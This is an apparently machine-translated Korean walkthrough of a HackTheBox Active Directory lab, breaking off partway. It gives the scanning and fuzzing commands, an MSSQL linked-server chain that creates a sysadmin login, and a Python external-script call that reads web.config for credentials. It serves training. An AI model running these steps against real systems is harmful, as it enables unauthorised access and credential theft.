HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์ด ๊ธฐ์‚ฌ์—์„œ๋Š” ๊ธฐ๊ณ„๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ์‚ฌ์ดํŠธ์—์„œ ์ „์ฒด ๋ฏธ๋‹ˆ ์‹คํ—˜์‹ค์˜ ํ†ต๊ณผ๋ฅผ ๋ถ„์„ํ•ฉ๋‹ˆ๋‹ค. ํ•ต๋”๋ฐ•์Šค.

์„ค๋ช…์— ๋ช…์‹œ๋œ ๋ฐ”์™€ ๊ฐ™์ด POO๋Š” ์†Œ๊ทœ๋ชจ Active Directory ํ™˜๊ฒฝ์—์„œ ๊ณต๊ฒฉ์˜ ๋ชจ๋“  ๋‹จ๊ณ„์—์„œ ๊ธฐ์ˆ ์„ ํ…Œ์ŠคํŠธํ•˜๋„๋ก ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๋ชฉํ‘œ๋Š” ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ํ˜ธ์ŠคํŠธ๋ฅผ ์†์ƒ์‹œํ‚ค๊ณ  ๊ถŒํ•œ์„ ์—์Šค์ปฌ๋ ˆ์ด์…˜ํ•˜๋ฉฐ ํ”„๋กœ์„ธ์Šค์—์„œ 5๊ฐœ์˜ ํ”Œ๋ž˜๊ทธ๋ฅผ ์ˆ˜์ง‘ํ•˜์—ฌ ๊ฒฐ๊ตญ ์ „์ฒด ๋„๋ฉ”์ธ์„ ์†์ƒ์‹œํ‚ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์‹คํ—˜์‹ค ์—ฐ๊ฒฐ์€ VPN์„ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. ์ •๋ณด ๋ณด์•ˆ์— ๋Œ€ํ•ด ์•„๋Š” ์‚ฌ๋žŒ๋“ค๊ณผ ์‚ฌ์„ค ๋„คํŠธ์›Œํฌ์— ๋“ค์–ด๊ฐ€๊ธฐ ๋•Œ๋ฌธ์— ์ž‘๋™ ์ค‘์ธ ์ปดํ“จํ„ฐ๋‚˜ ์ค‘์š”ํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ์žˆ๋Š” ํ˜ธ์ŠคํŠธ์—์„œ ์—ฐ๊ฒฐํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค ๐Ÿ™‚

์กฐ์ง ์ •๋ณด
์ƒˆ๋กœ์šด ๊ธฐ์‚ฌ, ์†Œํ”„ํŠธ์›จ์–ด ๋ฐ ๊ธฐํƒ€ ์ •๋ณด์— ๋Œ€ํ•ด ์•Œ์•„๋ณผ ์ˆ˜ ์žˆ๋„๋ก ์ „๋ณด ์ฑ„๋„ ะธ ๋ฌธ์ œ๋ฅผ ๋…ผ์˜ํ•˜๋Š” ๊ทธ๋ฃน IIKB ์˜์—ญ์—์„œ. ๋˜ํ•œ ๊ท€ํ•˜์˜ ๊ฐœ์ธ์ ์ธ ์š”์ฒญ, ์งˆ๋ฌธ, ์ œ์•ˆ ๋ฐ ๊ถŒ์žฅ ์‚ฌํ•ญ ํ•˜๋‚˜ํ•˜๋‚˜ ์‚ดํŽด๋ณด๊ณ  ๋‹ต๋ณ€๋“œ๋ฆฌ๊ฒ ์Šต๋‹ˆ๋‹ค..

๋ชจ๋“  ์ •๋ณด๋Š” ๊ต์œก ๋ชฉ์ ์œผ๋กœ๋งŒ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค. ์ด ๋ฌธ์„œ์˜ ์ €์ž๋Š” ์ด ๋ฌธ์„œ๋ฅผ ์—ฐ๊ตฌํ•œ ๊ฒฐ๊ณผ ์–ป์€ ์ง€์‹๊ณผ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•œ ๊ฒฐ๊ณผ๋กœ ์ธํ•ด ๋ฐœ์ƒํ•œ ๋ชจ๋“  ์‚ฌ๋žŒ์˜ ์†ํ•ด์— ๋Œ€ํ•ด ์ฑ…์ž„์„ ์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์†Œ๊ฐœ

์ด ์ตœ์ข… ๊ฒŒ์ž„์€ ๋‘ ๋Œ€์˜ ๊ธฐ๊ณ„๋กœ ๊ตฌ์„ฑ๋˜๋ฉฐ 5๊ฐœ์˜ ํ”Œ๋ž˜๊ทธ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ํ˜ธ์ŠคํŠธ์˜ ์„ค๋ช…๊ณผ ์ฃผ์†Œ๋„ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์‹œ์ž‘ํ•˜์ž!

์ •์ฐฐ๊ธฐ

์ด ๋จธ์‹ ์—๋Š” /etc/hosts์— ์ถ”๊ฐ€ํ•œ 10.13.38.11์˜ IP ์ฃผ์†Œ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.
10.13.38.11 poo.htb

์ฒซ ๋ฒˆ์งธ ๋‹จ๊ณ„๋Š” ์—ด๋ฆฐ ํฌํŠธ๋ฅผ ์Šค์บ”ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. nmap์œผ๋กœ ๋ชจ๋“  ํฌํŠธ๋ฅผ ์Šค์บ”ํ•˜๋ ค๋ฉด ์‹œ๊ฐ„์ด ์˜ค๋ž˜ ๊ฑธ๋ฆฌ๊ธฐ ๋•Œ๋ฌธ์— ๋จผ์ € masscan์œผ๋กœ ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. 0pps์—์„œ tun500 ์ธํ„ฐํŽ˜์ด์Šค์˜ ๋ชจ๋“  TCP ๋ฐ UDP ํฌํŠธ๋ฅผ ์Šค์บ”ํ•ฉ๋‹ˆ๋‹ค.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์ด์ œ ํฌํŠธ์—์„œ ์‹คํ–‰๋˜๋Š” ์„œ๋น„์Šค์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด -A ์˜ต์…˜์„ ์‚ฌ์šฉํ•˜์—ฌ ์Šค์บ”์„ ์‹คํ–‰ํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

nmap -A poo.htb -p80,1433

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๋”ฐ๋ผ์„œ IIS ๋ฐ MSSQL ์„œ๋น„์Šค๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ๋„๋ฉ”์ธ๊ณผ ์ปดํ“จํ„ฐ์˜ ์‹ค์ œ DNS ์ด๋ฆ„์„ ์ฐพ์Šต๋‹ˆ๋‹ค. ์›น ์„œ๋ฒ„์—์„œ IIS ํ™ˆ ํŽ˜์ด์ง€๊ฐ€ ์šฐ๋ฆฌ๋ฅผ ๋งž์ดํ•ฉ๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋ฐ˜๋ณตํ•ด ๋ด…์‹œ๋‹ค. ๋‚˜๋Š” ์ด๊ฒƒ์„ ์œ„ํ•ด ๊ณ  ๋ฒ„์Šคํ„ฐ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋งค๊ฐœ ๋ณ€์ˆ˜์—์„œ ์ŠคํŠธ๋ฆผ 128(-t), URL(-u), ์‚ฌ์ „(-w) ๋ฐ ๊ด€์‹ฌ ์žˆ๋Š” ํ™•์žฅ(-x)์˜ ์ˆ˜๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๋”ฐ๋ผ์„œ /admin ๋””๋ ‰ํ† ๋ฆฌ์— ๋Œ€ํ•œ HTTP ์ธ์ฆ๊ณผ .DS_Store ๋ฐ์Šคํฌํƒ‘ ์„œ๋น„์Šค ์Šคํ† ๋ฆฌ์ง€ ํŒŒ์ผ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. .DS_Store๋Š” ํŒŒ์ผ ๋ชฉ๋ก, ์•„์ด์ฝ˜ ์œ„์น˜, ์„ ํƒํ•œ ๋ฐฐ๊ฒฝ ์ด๋ฏธ์ง€์™€ ๊ฐ™์€ ํด๋”์— ๋Œ€ํ•œ ์‚ฌ์šฉ์ž ์„ค์ •์„ ์ €์žฅํ•˜๋Š” ํŒŒ์ผ์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํŒŒ์ผ์€ ์›น ๊ฐœ๋ฐœ์ž์˜ ์›น ์„œ๋ฒ„ ๋””๋ ‰ํ† ๋ฆฌ์— ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋””๋ ‰ํ† ๋ฆฌ ๋‚ด์šฉ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. DS_์Šคํ† ์–ด ํฌ๋กค๋Ÿฌ.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์šฐ๋ฆฌ๋Š” ๋””๋ ‰ํ† ๋ฆฌ์˜ ๋‚ด์šฉ์„ ์–ป์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ ๊ฐ€์žฅ ํฅ๋ฏธ๋กœ์šด ์ ์€ /dev ๋””๋ ‰ํ† ๋ฆฌ์ธ๋ฐ, ์—ฌ๊ธฐ์—์„œ ์†Œ์Šค์™€ db ํŒŒ์ผ์„ ๋‘ ๊ฐ€์ง€๋กœ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์„œ๋น„์Šค๊ฐ€ IIS ShortName์— ์ทจ์•ฝํ•œ ๊ฒฝ์šฐ ํŒŒ์ผ ๋ฐ ๋””๋ ‰ํ„ฐ๋ฆฌ ์ด๋ฆ„์˜ ์ฒ˜์Œ 6์ž๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ด ์ทจ์•ฝ์ ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. IIS ๋‹จ์ถ• ์ด๋ฆ„ ์Šค์บ๋„ˆ.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๊ทธ๋ฆฌ๊ณ  "poo_co"๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ•˜๋‚˜์˜ ํ…์ŠคํŠธ ํŒŒ์ผ์„ ์ฐพ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์— ๋ฌด์—‡์„ ํ•ด์•ผํ• ์ง€ ๋ชฐ๋ผ์„œ ๋””๋ ‰ํ† ๋ฆฌ ์‚ฌ์ „์—์„œ "co"๋กœ ์‹œ์ž‘ํ•˜๋Š” ๋ชจ๋“  ๋‹จ์–ด๋ฅผ ์„ ํƒํ–ˆ์Šต๋‹ˆ๋‹ค.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

๊ทธ๋ฆฌ๊ณ  wfuzz๋กœ ๋ฐ˜๋ณตํ•ฉ๋‹ˆ๋‹ค.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๊ทธ๋ฆฌ๊ณ  ์˜ฌ๋ฐ”๋ฅธ ๋‹จ์–ด๋ฅผ ์ฐพ์œผ์‹ญ์‹œ์˜ค! ์ด ํŒŒ์ผ์„๋ณด๊ณ  ์ž๊ฒฉ ์ฆ๋ช…์„ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค (DBNAME ๋งค๊ฐœ ๋ณ€์ˆ˜๋กœ ํŒ๋‹จํ•˜๋ฉด MSSQL์—์„œ ๊ฐ€์ ธ์˜จ ๊ฒƒ์ž…๋‹ˆ๋‹ค).

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๊นƒ๋ฐœ์„ ๋„˜๊ธฐ๊ณ  20% ์ „์ง„ํ•ฉ๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

ํ—ˆ ํ”Œ๋ž˜๊ทธ

์šฐ๋ฆฌ๋Š” MSSQL์— ์—ฐ๊ฒฐํ•˜๊ณ  ์ €๋Š” DBeaver๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ํฅ๋ฏธ๋กœ์šด ๊ฒƒ์„ ์ฐพ์ง€ ๋ชปํ–ˆ์Šต๋‹ˆ๋‹ค. SQL ํŽธ์ง‘๊ธฐ๋ฅผ ๋งŒ๋“ค๊ณ  ์‚ฌ์šฉ์ž๊ฐ€ ๋ฌด์—‡์ธ์ง€ ํ™•์ธํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

SELECT name FROM master..syslogins;

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๋‘ ๋ช…์˜ ์‚ฌ์šฉ์ž๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ์˜ ํŠน๊ถŒ์„ ํ™•์ธํ•ฉ์‹œ๋‹ค.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๋”ฐ๋ผ์„œ ํŠน๊ถŒ์ด ์—†์Šต๋‹ˆ๋‹ค. ์—ฐ๊ฒฐ๋œ ์„œ๋ฒ„๋ฅผ ๋ณด์ž, ๋‚˜๋Š” ์ด ๊ธฐ์ˆ ์— ๋Œ€ํ•ด ์ž์„ธํžˆ ์ผ๋‹ค ์—ฌ๊ธฐ์—.

SELECT * FROM master..sysservers;

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๊ทธ๋ž˜์„œ ์šฐ๋ฆฌ๋Š” ๋‹ค๋ฅธ SQL Server๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค. openquery()๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด ์„œ๋ฒ„์—์„œ ๋ช…๋ น ์‹คํ–‰์„ ํ™•์ธํ•ฉ์‹œ๋‹ค.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๊ทธ๋ฆฌ๊ณ  ์ฟผ๋ฆฌ ํŠธ๋ฆฌ๋ฅผ ๋งŒ๋“ค ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

์‚ฌ์‹ค ์—ฐ๊ฒฐ๋œ ์„œ๋ฒ„์— ์š”์ฒญ์„ ํ•˜๋ฉด ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ์ปจํ…์ŠคํŠธ์—์„œ ์š”์ฒญ์ด ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค! ์—ฐ๊ฒฐ๋œ ์„œ๋ฒ„์—์„œ ์‹คํ–‰ ์ค‘์ธ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ๋ฅผ ์‚ดํŽด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์ด์ œ ์—ฐ๊ฒฐ๋œ ์„œ๋ฒ„์—์„œ ์šฐ๋ฆฌ ์„œ๋ฒ„๋กœ์˜ ์š”์ฒญ์ด ์–ด๋–ค ์ปจํ…์ŠคํŠธ์—์„œ ์‹คํ–‰๋˜๋Š”์ง€ ์‚ดํŽด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๋”ฐ๋ผ์„œ ๋ชจ๋“  ๊ถŒํ•œ์„ ๊ฐ€์ ธ์•ผ ํ•˜๋Š” DBO ์ปจํ…์ŠคํŠธ์ž…๋‹ˆ๋‹ค. ์—ฐ๊ฒฐ๋œ ์„œ๋ฒ„์—์„œ ์š”์ฒญํ•œ ๊ฒฝ์šฐ ๊ถŒํ•œ์„ ํ™•์ธํ•ฉ์‹œ๋‹ค.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๋ณด์‹œ๋‹ค์‹œํ”ผ, ์šฐ๋ฆฌ๋Š” ๋ชจ๋“  ํŠน๊ถŒ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค! ์ด๋ ‡๊ฒŒ ๊ด€๋ฆฌ์ž๋ฅผ ๋งŒ๋“ค์–ด ๋ด…์‹œ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ทธ๋“ค์€ openquery๋ฅผ ํ†ตํ•ด ํ—ˆ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. EXECUTE AT๋ฅผ ํ†ตํ•ด ์ˆ˜ํ–‰ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

์ด์ œ ์ƒˆ ์‚ฌ์šฉ์ž์˜ ์ž๊ฒฉ ์ฆ๋ช…์œผ๋กœ ์—ฐ๊ฒฐํ•˜๊ณ  ์ƒˆ ํ”Œ๋ž˜๊ทธ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๊ด€์ฐฐํ•ฉ๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์ด ๊นƒ๋ฐœ์„ ๋„˜๊ฒจ์ฃผ๊ณ  ๋” ๋‚˜์•„๊ฐ‘๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์—ญ์ถ”์  ํ”Œ๋ž˜๊ทธ

MSSQL์„ ์‚ฌ์šฉํ•˜์—ฌ ์…ธ์„ ๊ฐ€์ ธ์˜ค๊ฒ ์Šต๋‹ˆ๋‹ค. ์ €๋Š” impacket ํŒจํ‚ค์ง€์˜ mssqlclient๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์šฐ๋ฆฌ๋Š” ์•”ํ˜ธ๋ฅผ ์–ป์–ด์•ผ ํ•˜๊ณ , ์šฐ๋ฆฌ๊ฐ€ ์ด๋ฏธ ๋งŒ๋‚œ ์ฒซ ๋ฒˆ์งธ ๊ฒƒ์€ ์‚ฌ์ดํŠธ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์›น ์„œ๋ฒ„ ๊ตฌ์„ฑ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค(ํŽธ๋ฆฌํ•œ ์…ธ์„ ๋˜์ง€๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋ฉฐ ๋ถ„๋ช…ํžˆ ๋ฐฉํ™”๋ฒฝ์ด ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค).

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๊ทธ๋Ÿฌ๋‚˜ ์•ก์„ธ์Šค๊ฐ€ ๊ฑฐ๋ถ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค. MSSQL์—์„œ ํŒŒ์ผ์„ ์ฝ์„ ์ˆ˜ ์žˆ์ง€๋งŒ ์–ด๋–ค ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด๊ฐ€ ๊ตฌ์„ฑ๋˜์–ด ์žˆ๋Š”์ง€ ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  MSSQL ๋””๋ ‰ํ† ๋ฆฌ์—์„œ ์šฐ๋ฆฌ๋Š” ํŒŒ์ด์ฌ์ด ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๊ทธ๋Ÿฌ๋ฉด web.config ํŒŒ์ผ์„ ์ฝ๋Š” ๋ฐ ๋ฌธ์ œ๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์ž๊ฒฉ ์ฆ๋ช…์„ ์ฐพ์€ ์ƒํƒœ์—์„œ /admin์œผ๋กœ ์ด๋™ํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ๋ฅผ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๊ฑฐ์  ๊นƒ๋ฐœ

์‚ฌ์‹ค ๋ฐฉํ™”๋ฒฝ ์‚ฌ์šฉ์— ๋”ฐ๋ฅธ ๋ถˆํŽธํ•จ๋„ ์žˆ์ง€๋งŒ ๋„คํŠธ์›Œํฌ ์„ค์ •์„ ์‚ดํŽด๋ณด๋ฉด IPv6 ํ”„๋กœํ† ์ฝœ๋„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค!

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์ด ์ฃผ์†Œ๋ฅผ /etc/hosts์— ์ถ”๊ฐ€ํ•˜์‹ญ์‹œ์˜ค.
dead:babe::1001 poo6.htb
